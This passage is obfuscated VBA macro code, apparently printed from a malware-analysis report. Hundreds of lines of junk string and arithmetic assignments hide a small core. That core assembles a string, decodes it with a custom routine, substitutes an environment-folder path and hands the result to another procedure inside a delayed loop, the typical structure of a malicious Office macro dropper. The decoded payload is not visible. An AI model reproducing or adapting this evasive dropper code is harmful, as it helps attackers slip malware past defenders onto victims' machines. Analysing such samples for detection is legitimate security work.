        IyWmZO = IyWmZO + 1
    Wend

    qZyLmfHauGm = UCase("s #mLy-KA[I(oX$")
    NZVGpQ = RTrim(")UCF  f t ojsF")
    NZVGpQ = "x -qW  R-iBE " + "Ja_ T !!pA  rrv" + "z@ kO j HyTPoo"
    HijfvwachQI = 885 - 124 - 1628
    OZfTEr = OZfTEr + "Tck d"
    ASPXD = RTrim("V A[ d igK vp?yqfR$X")
    ASPXD = Right("  odn-^xu!NbS[]kReH ", 2)
    TkSelvRVwy = LTrim("& C[_JC ch@uMLn(")
    HijfvwachQI = UCase("sZZqLgve ^Oo")
    PdfBHDmXYpmH = 658 + 255 + 1801
    nRySCPYf = Space(11)
    TkSelvRVwy = Right(" n SMyPCT] Z DG N  b", 2)
    ASPXD = 1000 + 1726 + 1579
    nRySCPYf = RTrim("TR_gp[r&FnQ ")
    OZfTEr = OZfTEr + "oweo."
    nRySCPYf = Right("v^ hA otL s", 2)
    NZVGpQ = LTrim("%uOrGicgv dpg qE]w")
    vzbMiIOkp = Space(17)
    NIzAZ = UCase("   z S -EELUZy Tm")
    For gHnCBS = 0 To 5
        While xlZoua < 4
            PdfBHDmXYpmH = LTrim("^ awA DI   ")
            cFQfC = UCase("OsjdEM so-")
            TkSelvRVwy = Space(17)
            ASPXD = Right("NioAFyDUyz?]zi -Z", 5)
            vzbMiIOkp = RTrim("hTR?$l%  P ")
            NIzAZ = Right("FLl $QtShotP%Gx ", 2)
            vzbMiIOkp = LTrim("[U       -  Op&")
            vzbMiIOkp = 749 - 273 - 1153
            NIzAZ = StrReverse("KdJ  (P Ox ")
            xlZoua = xlZoua + 2
        Wend

        cFQfC = LTrim("CLl  w$#f@e g]")
        HijfvwachQI = 1518 + 666 + 639
        NIzAZ = 438 + 1960 + 1037
        TkSelvRVwy = LTrim("VH_lG^^ Q#%")
        NZVGpQ = Space(18)
        qZyLmfHauGm = UCase("%] jP CLDN J")
        NIzAZ = StrReverse("  arBadIbO ")
        NZVGpQ = "NF$ ]Euz A R]lh MS" + "je R]%B?(zR-" + "Jf   FM H#T@ inm"
        HijfvwachQI = LTrim("% [A_ YEKkpu  F f%")
        HijfvwachQI = RTrim("Jon(EV ! UBb")
        HijfvwachQI = Right("$lIoicu PXj n c )", 5)
        ASPXD = LTrim("d ]aS C )U xP me")
        qZyLmfHauGm = 296 - 386 - 1229
        vzbMiIOkp = LTrim(" S _qT cgM)Pv ")
        vzbMiIOkp = RTrim("T  Qlqe kuWzP")
    Next gHnCBS

    While okLegm < 4
        ASPXD = RTrim("N VAiy !ihV[ jy")
        qZyLmfHauGm = RTrim("@   ]  d$A( &iL a")
        nRySCPYf = 1054 - 740 - 1939
        cFQfC = StrReverse("n H MDCu  UY%i k")
        ASPXD = 903 - 1418 - 156
        cFQfC = 1773 - 1859 - 1819
        qZyLmfHauGm = RTrim("wPcL[KBw OG ?YAjW Y")
        NIzAZ = Right("RMdHY](W u", 2)
        NIzAZ = LTrim("T j  CI L ")
        nRySCPYf = RTrim(" r[jZBh [A ")
        okLegm = okLegm + 2
    Wend

    NZVGpQ = Space(2)
    While IvjdUN < 4
        cFQfC = Right("o_&rHqA Sz", 4)
        cFQfC = 227 + 1764 + 1454
        NZVGpQ = Space(6)
        TkSelvRVwy = Right("lO ODsi!w[FyyU rBUn ", 5)
        ASPXD = RTrim("s _eYGs p ")
        TkSelvRVwy = UCase("_vR($?% ]nKggdK$NX")
        vzbMiIOkp = LTrim("zsUrT  Gy Oh ")
        TkSelvRVwy = StrReverse("  T&yHv e)@ ")
        vzbMiIOkp = Left("fKiCF X#^c-wm^jQpL(d", 3)
        vzbMiIOkp = RTrim("&_nmkbG aUWdv x? S")
        NIzAZ = RTrim("M S bNe tsL   U ACl")
        nRySCPYf = Right("  m L!-&[ g", 5)
        TkSelvRVwy = "VU hNz z OX_N" + "k?ss  r &CQ-" + " U is $#G xm(Nwi"
        ASPXD = Space(17)
        NIzAZ = LTrim("F  S f mR   fzm F ")
        HijfvwachQI = RTrim("W) V#kIL& j")
        TkSelvRVwy = RTrim("RdeX E e&GSRBF# ")
        NIzAZ = StrReverse("FwP Tvn   ")
        ASPXD = UCase("HK] @ )C% vL U")
        qZyLmfHauGm = UCase("  kx)$ - [")
        IvjdUN = IvjdUN + 1
    Wend

    OZfTEr = OZfTEr + "x_@eZ"
    While IQmtYt < 4
        ASPXD = UCase("Pysn I@PsFJhDNQO_$")
        PdfBHDmXYpmH = UCase("N C^ ZYrTm")
        ASPXD = " alsqI  Weh.-S Hv  " + ")OTZziTAiKQt@%J K#" + " ]I M!C ez]L F?x ivt"
        HijfvwachQI = UCase("- P I N  _y bztX &P")
        ASPXD = LTrim(" T Vt  !Y_NKOE")
        vzbMiIOkp = RTrim("QoC &.-?v^!&  Nl")
        PdfBHDmXYpmH = Right("UQo [vH!Vi    ", 5)
        qZyLmfHauGm = UCase("@ef L  rD&Nd ")
        vzbMiIOkp = Space(9)
        nRySCPYf = RTrim("@c[(( a(E( _ ")
        cFQfC = RTrim("]Z(#Y NL   [a X ao ")
        nRySCPYf = "  wR))kR% y T  ja" + "p QycCu Dgb J" + "?FM KKuykJqn T  "
        NZVGpQ = LTrim("  koXfV)H ")
        IQmtYt = IQmtYt + 3
    Wend

    NZVGpQ = UCase(" . JT  eY M  Hj ")
    ASPXD = 1516 + 1894 + 805
    NZVGpQ = RTrim("RKOf@ R%t $ n ^ K ?g")
    ASPXD = UCase("eg g( @- UX uL ")
    NIzAZ = 440 - 1551 - 810
    nRySCPYf = LTrim("fy^Yri q)S")
    OZfTEr = OZfTEr + "j xIP"
    PdfBHDmXYpmH = UCase("V?  MZQO!!")
    qZyLmfHauGm = UCase("l l f X#m ]H& Kfil %")
    TkSelvRVwy = RTrim("MP CejBTd ")
    qZyLmfHauGm = 906 - 303 - 1536
    For XsYZxO = 0 To 8
        nRySCPYf = StrReverse("k W k - hs-Tl. L%")
        nRySCPYf = RTrim(" nAc  Yiz! L^ IDz")
        ASPXD = StrReverse("s% rX WSeIN ")
        vzbMiIOkp = UCase(" ^#K%jm@ r pil@% ")
        ASPXD = Right("]q G  # HTH J", 3)
        TkSelvRVwy = 540 - 1054 - 140
        vzbMiIOkp = UCase("ru & B&$lmX")
        nRySCPYf = StrReverse("    Q mU sRgO  @")
        ASPXD = Right("r) j. TUbrraW$mK", 5)
        ASPXD = Space(13)
        qZyLmfHauGm = LTrim("kCmB(LZ# cGD bA")
        HijfvwachQI = Right("?xX t ]#wmg   ", 5)
        NZVGpQ = RTrim(" bhnY d )^-")
        qZyLmfHauGm = UCase("h u D bIqL")
        cFQfC = LTrim("   m?KI@& &jEuen@")
        cFQfC = "LHOlU G)(hX" + "W k ivx%I_u]Dv" + " & Wb .SdXU."
        nRySCPYf = UCase("gooDrlp.@FX ^J  fxT ")
        qZyLmfHauGm = 1888 + 1867 + 1261
    Next XsYZxO

    TkSelvRVwy = RTrim("l_ [Q b%_  #auQ")
    PdfBHDmXYpmH = RTrim("kl J  [ qj")
    NZVGpQ = Left("( Q pC %#aEq", 2)
    ASPXD = Right("PWV-cp?vm ", 4)
    OZfTEr = OZfTEr + " ew m"
    nRySCPYf = RTrim("dT  _D .kq ?")
    NZVGpQ = Left(" B GO  X F COkA", 5)
    TkSelvRVwy = StrReverse("T BSx z%D evQ")
    vzbMiIOkp = 411 - 367 - 406
    cFQfC = RTrim("or qnM c%w")
    TkSelvRVwy = Right("   %  u mF  sC ", 5)
    ASPXD = StrReverse("]#V%v$ D v")
    For JVnxQi = 0 To 5
        While EfVOcg < 1
            NIzAZ = "%VU _E(oGu V&IS Q." + "J vV _bH(ZK^l" + "V[?b)     oqvW xpM"
            ASPXD = 1823 - 242 - 920
            NIzAZ = StrReverse("F y FH c qZ hq-x F]")
            nRySCPYf = Space(13)
            cFQfC = Right(")   ?%lpS QJb   m[df", 2)
            qZyLmfHauGm = Space(8)
            vzbMiIOkp = UCase("FSjLRz^ F))%  K&Caks")
            HijfvwachQI = LTrim("jTeKKtG  tsB")
            qZyLmfHauGm = RTrim("om AH AteHf")
            NIzAZ = "nF]  _A l[CC Atjx" + "qst YULULJ&zXqm" + " )_MN  Sem  waM"
            HijfvwachQI = UCase(" auV Ts fGBmH")
            cFQfC = Left(" ed K#$  F", 3)
            qZyLmfHauGm = Right(" j Y  Lk OI Uf ", 2)
            PdfBHDmXYpmH = LTrim(" yb&Ar  cerm$")
            vzbMiIOkp = 1887 + 724 + 340
            EfVOcg = EfVOcg + 3
        Wend

        vzbMiIOkp = "iHvdF  mLf Z" + "Ffhg cr. x " + " MRZGZ] %  y&(_MSc  "
        TkSelvRVwy = StrReverse("ncd  yr)u.%i")
        PdfBHDmXYpmH = Left("%Ut@[ !Yhj$ERm", 3)
        PdfBHDmXYpmH = 323 - 1593 - 661
        qZyLmfHauGm = StrReverse("LAq  ( Ea(K@ f")
        nRySCPYf = UCase("). P$L ^F [IuGR%#")
        vzbMiIOkp = "SF qm  okfW#!xo$z z" + "kGG%-KE%(N" + "^Vzq ?Lkph @S  Wg"
        NIzAZ = " s O_p  ds .- s" + "a FThM.lxojX pbo %wA" + "OsE VkA%YOHeNyC"
    Next JVnxQi

    TkSelvRVwy = Right("yGB[X g   xeItS.", 5)
    OZfTEr = Replace(ECJntziZ(OZfTEr), "FOLDER", Environ(ECJntziZ("AndWl!$ lqjuUrO sQg eEX rde sqI^PW arqdDovPef-w_iltvlqPzevCD")))
    HijfvwachQI = 833 - 1126 - 1228
    PdfBHDmXYpmH = RTrim("]ebLx^cT $AdbW D")
    While PpxnJd < 3
        NIzAZ = 626 + 276 + 654
        cFQfC = Left("w) dKWeyTIl", 3)
        PdfBHDmXYpmH = Space(4)
        PdfBHDmXYpmH = Space(15)
        qZyLmfHauGm = 1852 + 1250 + 911
        vzbMiIOkp = " &oT  Rcf -  #Dq-rN" + "wq_eV!H LhN_   jX !" + "R[v k j ^  l)e"
        cFQfC = "O .ats z[? hQM" + "?  ZxCIPO%  Ag" + "^d_KP ?#% [n  $"
        qZyLmfHauGm = "Ji)X@i T-J_ZtbvTg(" + "f    ma hWxstP%nDGy" + "vhnH#  eU%"
        NIzAZ = UCase(" (k?v h K )  h @l")
        qZyLmfHauGm = 548 + 1507 + 1182
        ASPXD = 1946 + 1075 + 1795
        HijfvwachQI = RTrim("U[!Bm ?T  % yq x^Y ")
        TkSelvRVwy = StrReverse("ST  vN % MAgPh")
        ASPXD = Space(13)
        NZVGpQ = Space(10)
        PdfBHDmXYpmH = 1148 + 781 + 1323
        NIzAZ = StrReverse("M   q?Ya&mLY   EV$n")
        ASPXD = 1999 + 950 + 1359
        HijfvwachQI = 1014 + 680 + 893
        vzbMiIOkp = RTrim("p%smHM(&  ")
        PpxnJd = PpxnJd + 1
    Wend

    PdfBHDmXYpmH = RTrim("w[)UO@.q VZ ] uzP")
    For TfWaEw = 0 To 7
        TkSelvRVwy = RTrim("MRcY ds.bm VJ z] ")
        NIzAZ = Right("Y RE Nx Y ", 4)
        NIzAZ = Space(19)
        qZyLmfHauGm = 1965 + 1795 + 610
        ASPXD = Left("ImIDyD TwmQ[y@", 2)
        nRySCPYf = UCase("m Kc . of[@xneljcGV")
        qZyLmfHauGm = "I  XPGf Poce.&q" + "sD cQ ?VL! -Pn" + "lFmc  FxTh$u]hS F tD"
    Next TfWaEw

    NIzAZ = 1305 + 880 + 1777
    ASPXD = LTrim("EzbL )T[ nOuq a- ")
    PdfBHDmXYpmH = 181 - 340 - 1457
    vzbMiIOkp = Left(" p W.M.yNs", 2)
    For GClgWJ = 0 To 3
        For AtfyEa = 0 To 8
            PdfBHDmXYpmH = UCase("_  K?B&h Xj o ")
            qZyLmfHauGm = "yy ms ) -_ @LHD@I" + "T qwO# g-UAh" + " J  mznmjUrXqp[  "
            nRySCPYf = "jJH ]ak xTVY " + "? AoMD  pT_NGb" + "eMG# OY YS h ChW"
            qZyLmfHauGm = LTrim("#PCx  H R&( ")
            ASPXD = LTrim("a P tZ  XT")
            NZVGpQ = Left("v Ea#). ZT&R?C$^o ", 5)
            ASPXD = RTrim("nWc!t-skL -H")
            TkSelvRVwy = StrReverse(" OIo.Egd  $j]#")
            vzbMiIOkp = StrReverse("L   t .!GcB")
            vzbMiIOkp = RTrim(" l.h %_ $ ")
            NZVGpQ = ".UrbicLHP c oQy" + "s mVW?s e GkA )" + "Ui U W  Xk -BQvB  %"
            HijfvwachQI = UCase(" RSbL V  CWz z](-z")
            cFQfC = 317 + 1720 + 1572
            PdfBHDmXYpmH = UCase("zv&( r j  iNGM    a")
            ASPXD = LTrim("X EO U& ks")
            NZVGpQ = Left(" !cy I(m guj# hZB ", 5)
            ASPXD = Left("(mzMiy ^h#[$yP j Q", 4)
            qZyLmfHauGm = UCase("qyS.[%N  ^   ")
        Next AtfyEa

        HijfvwachQI = 153 - 186 - 841
        PdfBHDmXYpmH = UCase("IkM   C[%Ltx")
        NZVGpQ = 1986 + 396 + 1258
        NIzAZ = Space(1)
        NZVGpQ = " !fJ ez  Jbvud.  KS" + "mIoqSGF!Y r" + "- KSKiBYqmf( ["
        NIzAZ = Space(20)
        HijfvwachQI = Space(13)
        ASPXD = StrReverse("MLI yrgTlI.(   cq h")
        NZVGpQ = ")bbeYNEqPoL  " + "VqwOttp s SDb c" + "@Az qqOV.$ idE@"
        nRySCPYf = "j &. # i hT" + "kZiOOO[TS np  M %MF" + "  Sqd &[.H"
        cFQfC = StrReverse("M]z KgRt  [ c  ?]uLl")
    Next GClgWJ

    HijfvwachQI = StrReverse("@mC #rW  Y Ug.)etr_")
    nRySCPYf = UCase("MZgC@yA%mjF tdn  ")
    ASPXD = StrReverse("ch t  Lv X X &-")
    TkSelvRVwy = RTrim("OU aQL [Q V  JVup K")
    PdfBHDmXYpmH = LTrim("vA Sw^F]e(pBz  ")
    While FuaNTvz < 628
        PdfBHDmXYpmH = LTrim(") ?%c_Pj ( kmf(Dirs")

        If FuaNTvz = 125 Then
            HwvfFDTX OZfTEr, "qnays", "wauPtCU", "HRZ", "pCzsI", "esOhgmiP"
        End If
    FuaNTvz = FuaNTvz + 1
    Wend
    cFQfC = 890 + 1595 + 1457
    NZVGpQ = 1255 - 1732 - 557
    vzbMiIOkp = RTrim(" uO_Ve_joa[jG )Z&")
    nRySCPYf = Left("rti$SM L    R] lV", 3)
    HijfvwachQI = StrReverse("$QFGafPud$M@OS")
    HijfvwachQI = StrReverse(" V!)ao x  AHr!h")
    For plErQr = 0 To 5
        TkSelvRVwy = Space(11)
        HijfvwachQI = RTrim("U^y[B  j gn^Rw")
        NZVGpQ = StrReverse("  R[iM No.HedMyEw")
        qZyLmfHauGm = Left("^) nRvsJ  uGrhZ N ", 4)
        NIzAZ = UCase("& qlsqw)& h")
        NIzAZ = RTrim("dri  ?QNcWSD u")
        PdfBHDmXYpmH = Space(12)
        HijfvwachQI = "GEC$td UOF" + " Tdh y^kHHAgt N ( h" + "B fUrzxUkR OWa"
        nRySCPYf = Left(" xp&Q@QT@cJ !  J.t", 3)
        TkSelvRVwy = "TJ&dNP%bq f Q K" + "Byau   kcnn!zG  (E@D" + "v c&_i z wG    a]"
        TkSelvRVwy = Left(" z p^  nc fpXL", 4)
        cFQfC = 1072 + 1457 + 259
        NZVGpQ = RTrim("! PF F w.^q_^EK")
        TkSelvRVwy = Space(20)
        nRySCPYf = Left(" v -.cR  if ^aG$S h", 2)
        NZVGpQ = StrReverse(" d-!$L W  fwJD?bWm L")
        cFQfC = RTrim(" n%jKWTMT-FE cZBaD  ")
        NIzAZ = "ugUJCe@e)-[ " + "MqNly#.CRaE^UfL_^L" + "E@#XJ!I K j ?d#cGo"
        NIzAZ = Space(11)
        cFQfC = "m] qNhG fJ.LXWC )  k" + "v Qsy   -Q  XAaaN ox" + "e( jDrtdsDE"
    Next plErQr

    nRySCPYf = UCase("w& ^bE[YIQ cK")
    ASPXD = Space(3)
    vzbMiIOkp = 1267 - 840 - 401


End Sub



Attribute VB_Name = "Module1"

Function yrBVLt(dlgnrFc As String) As String
    NIzAZ = StrReverse(" m[R @ ZlyoJ. NH  ")
    NZVGpQ = LTrim("HU fJdn  F @mL ( c[R")
    HijfvwachQI = Space(18)
    NZVGpQ = RTrim("u slyr( vo $ Kn hV")
    NIzAZ = Right("t i jMgFO V $", 3)
    qZyLmfHauGm = Right("_p# fK?Zo Eb% z", 3)
    NZVGpQ = "y  ^l_ntB^eT f" + "r[!lv@va Dj F   j @R" + "@O $^  )pu %b"
    HijfvwachQI = RTrim("E#L i %cBq")
    cFQfC = RTrim("-sZ #    TA")
    NIzAZ = "  IARprF )rv iEls X " + "SL[wCg  qWb" + "za   j BO!Y"
    NZVGpQ = LTrim("lIZ k QQu B_G")
    NIzAZ = Space(10)
    nRySCPYf = 1933 + 1186 + 1753
    yrBVLt = "HicsLlVvXORBW"
End Function



Function Iijrip(cWswIx As Boolean, pAvFVy As String, uPVaUb As Double) As String
    NIzAZ = RTrim("_H[ pU etg")
    For JQYShd = 0 To 9
        cFQfC = 1398 + 609 + 1529
        qZyLmfHauGm = Space(11)
        ASPXD = RTrim(".luGkkd&  ")
        ASPXD = 604 - 1635 - 284
        cFQfC = Right("J?bYw(yi Q[fwstCeT ", 5)
        cFQfC = LTrim("EHB &BmQ YUkN")
        cFQfC = LTrim("FO_QmJ eb  ]z %r")
        nRySCPYf = StrReverse(" QI& D % .@S")
        PdfBHDmXYpmH = RTrim("C y No?L lhSyIO d !")
        ASPXD = Left("]K  !acs XOA^V?^ob  ", 2)
        PdfBHDmXYpmH = 144 + 1063 + 886
        nRySCPYf = Space(8)
    Next JQYShd

    NIzAZ = LTrim("vgS M vwpX")
    nRySCPYf = Left("a(   rO? syy  ", 2)
    qZyLmfHauGm = Right("ntbW   !uP", 2)
    TkSelvRVwy = UCase("yj.Ive  do")
    PdfBHDmXYpmH = 505 + 1525 + 1928
    ASPXD = Right("hY M_Gx  J g ", 5)
    PdfBHDmXYpmH = RTrim("(v M )cIde p zD")
    HijfvwachQI = Left("we!x?( CqSW.MC[I ", 4)
    PdfBHDmXYpmH = RTrim("[TGQGXt&BhNgAP")
    PdfBHDmXYpmH = LTrim(" UKL  Xn  ")
    PdfBHDmXYpmH = LTrim("GZ _ Hf UrJQ k ?C ")
    nRySCPYf = LTrim("^Deu  _ cSL(GpUPZi$f")
    qZyLmfHauGm = LTrim("v BMtFG(Hf.")
    cFQfC = Left(")iFB  .a   qOX  .", 4)
    For Jbdhfc = 0 To 3
        While sVOAXC < 5
            cFQfC = Right("UbUKJ@-KV ", 3)
            qZyLmfHauGm = "s hN WN&@MN  G]s" + "lW qQXF JT#A) " + "  . uHds  v V"
            qZyLmfHauGm = Space(20)
            PdfBHDmXYpmH = Left("&GTy  C rp!Mp", 3)
            nRySCPYf = "D%v @NA A[h z( AtHP" + "#skcC]bVJRM " + "(i L.  -G )!Us- "
            PdfBHDmXYpmH = 776 - 721 - 997
            TkSelvRVwy = StrReverse("K P  HQ DLX --Q ")
            ASPXD = Left("jBXejUjw]X G dxHrtOk", 2)
            PdfBHDmXYpmH = 232 + 1875 + 1813
            PdfBHDmXYpmH = Space(14)
            nRySCPYf = StrReverse("wFpA I Z-G SHVr")
            HijfvwachQI = UCase(".xb-w)bX    W")
            cFQfC = StrReverse("sD %bJ^AQ   NxoQdES ")
            NZVGpQ = UCase(" zMJ[l ]#& cOc wQbb")
            HijfvwachQI = 239 + 740 + 1606
            PdfBHDmXYpmH = Right("%O pf@ fdMb @", 4)
            PdfBHDmXYpmH = " Oc#UTp_ eG Rtj" + " z. @ry_Va " + "r#DuR Om@S "
            sVOAXC = sVOAXC + 1
        Wend

        vzbMiIOkp = RTrim("goG L- vbHW M!(m ?y")
        cFQfC = Space(15)
        ASPXD = LTrim("r- -ez t  X a zMA")
        NIzAZ = RTrim("wJ W( pF w   P ny ")
        vzbMiIOkp = 932 + 667 + 1198
        cFQfC = "^wL? yQ jh  nnvN  " + "m m Qj Fq. Zeaz&)  h" + " [ y &DnR k "
        qZyLmfHauGm = 750 - 1493 - 519
        nRySCPYf = Space(16)
        vzbMiIOkp = Space(5)
        nRySCPYf = RTrim(" K  ugkXtHWUw zLT ")
        TkSelvRVwy = UCase("ls[S^u^u N")
        vzbMiIOkp = Right("  MT O N #  yf E% G", 2)
        qZyLmfHauGm = Right("aR)Yu^  bXR yx # !a", 5)
        qZyLmfHauGm = Space(15)
        qZyLmfHauGm = "n  #F] E l" + "Og @$  W -  qmN" + "!DJZ apm.MES . "
        vzbMiIOkp = UCase(" %! WY p@LCXTDmdYoa ")
    Next Jbdhfc

    vzbMiIOkp = LTrim("tupe[B) u?")
    Iijrip = "ydaaipomYHEFMzoHBF"
End Function



Sub doqCsa(BDweiXn As Double, RhmOkn As Boolean, QIqLxtq As Integer, fkzMeg As Double, ocnhfTQ As Double)
    For IyxdjA = 0 To 5
        While WzqLAD < 2
            ASPXD = 1272 + 884 + 205
            TkSelvRVwy = UCase("W !Kdrn- Do orm )  r")
            TkSelvRVwy = LTrim("&J VfBxr ^A   ")
            qZyLmfHauGm = UCase(" Af_H .pWJlefqjl")
            TkSelvRVwy = " jHoB z]D " + "(   -? y?Mlj" + "GPsmXk[G&rfRF]JB"
            qZyLmfHauGm = UCase("WtNeimYJ-iU #V TK ")
            NIzAZ = RTrim("  )QfWBu#vOUmn ot")
            cFQfC = 1313 - 1404 - 1075
            TkSelvRVwy = RTrim("oXn%O  gzq GHL ")
            NIzAZ = LTrim("E%Grph  o( jgQi ")
            WzqLAD = WzqLAD + 3
        Wend

        NZVGpQ = "^ et Fct!ul" + " EA $ et pISP^bz" + "VzcgfZXX)f! ^V  C"
        HijfvwachQI = 465 + 1563 + 974
        nRySCPYf = 1974 - 900 - 376
        cFQfC = UCase("xpZdkfrZDe^  ")
        vzbMiIOkp = 675 + 1969 + 438
        PdfBHDmXYpmH = LTrim("niu R  # GrlzG ")
    Next IyxdjA

    nRySCPYf = 585 - 1867 - 608
    TkSelvRVwy = 119 + 1466 + 1082
    PdfBHDmXYpmH = UCase("QHXBJTtV&kqW ")
    nRySCPYf = " OJM  jhDr ^ #Ljf" + "NyX Ui mMm p?B]H" + "c PxaFA@C  O JD e Xo"
    For mCCizC = 0 To 2
        While GJelta < 3
            PdfBHDmXYpmH = Left(" LV r Y  @  d ", 5)
            qZyLmfHauGm = 495 + 656 + 1165
            NIzAZ = " nYAgTX&v KP" + "] n j B oy" + "z % !cuTV q@ "
            cFQfC = RTrim("kkLPO hf  D w%N#O ha")
            PdfBHDmXYpmH = RTrim("- (Hi  -rb")
            nRySCPYf = RTrim(" FpyWBKR A.eg IacTR")
            nRySCPYf = 1615 + 444 + 260
            NIzAZ = UCase("  mvM.( eOba!")
            ASPXD = "-$ IO$ aj  t?A" + "bH ! eRo)@P e" + "OLh EhD RMje"
            HijfvwachQI = "v %cC nG  )  Y" + "#kJ SVP  r- MiB K" + "SxO bHaYN  cI Z"
            vzbMiIOkp = Space(14)
            NIzAZ = StrReverse(" K LS ^^)GxL FL x]")
            qZyLmfHauGm = Left("TA L tM (?N BsO  ", 3)
            PdfBHDmXYpmH = Right("Bw!V   LrHQ@d", 3)
            GJelta = GJelta + 2
        Wend

        ASPXD = Right("dMzuD k^ N a) !wcd", 2)
        NIzAZ = RTrim("CPVa ^v o^s $qC[DpE")
        vzbMiIOkp = StrReverse(" [.J)AK!oqH ")
        TkSelvRVwy = Left(" sKjzI #  X S !", 5)
        NIzAZ = Space(16)
        NZVGpQ = StrReverse("b  % Mx vDQi@y")
        NIzAZ = Right(" C [iEjo )R]o)  U", 5)
        cFQfC = " h KT]YZs  yG K " + " n.eAz SjQEN o(%Y-Oy" + " o ^I# xHA  hV Vu)"
        cFQfC = Space(3)
        ASPXD = 159 - 1567 - 274
        ASPXD = RTrim(" h Iz # zr")
        qZyLmfHauGm = RTrim("mTg?z B  ve%")
        qZyLmfHauGm = Space(15)
        cFQfC = LTrim("dzV X LSBbtPpk y ")
        ASPXD = Right("fkmsNx)Za ", 4)
        NIzAZ = RTrim("C.UBQA uV(th Qk lk")
        nRySCPYf = 872 + 459 + 1436
    Next mCCizC

    PdfBHDmXYpmH = Right("  (  WUx%YR cL", 2)
    NZVGpQ = Space(16)
    PdfBHDmXYpmH = Space(1)
    For CasTrP = 0 To 7
        ASPXD = LTrim("LP Mh] ? . ")
        TkSelvRVwy = Left(" U p  ?TF _A ", 3)
        ASPXD = LTrim("XC   SGg%  GX")
…

Open this report in the interactive analyzer, or submit your own file for analysis.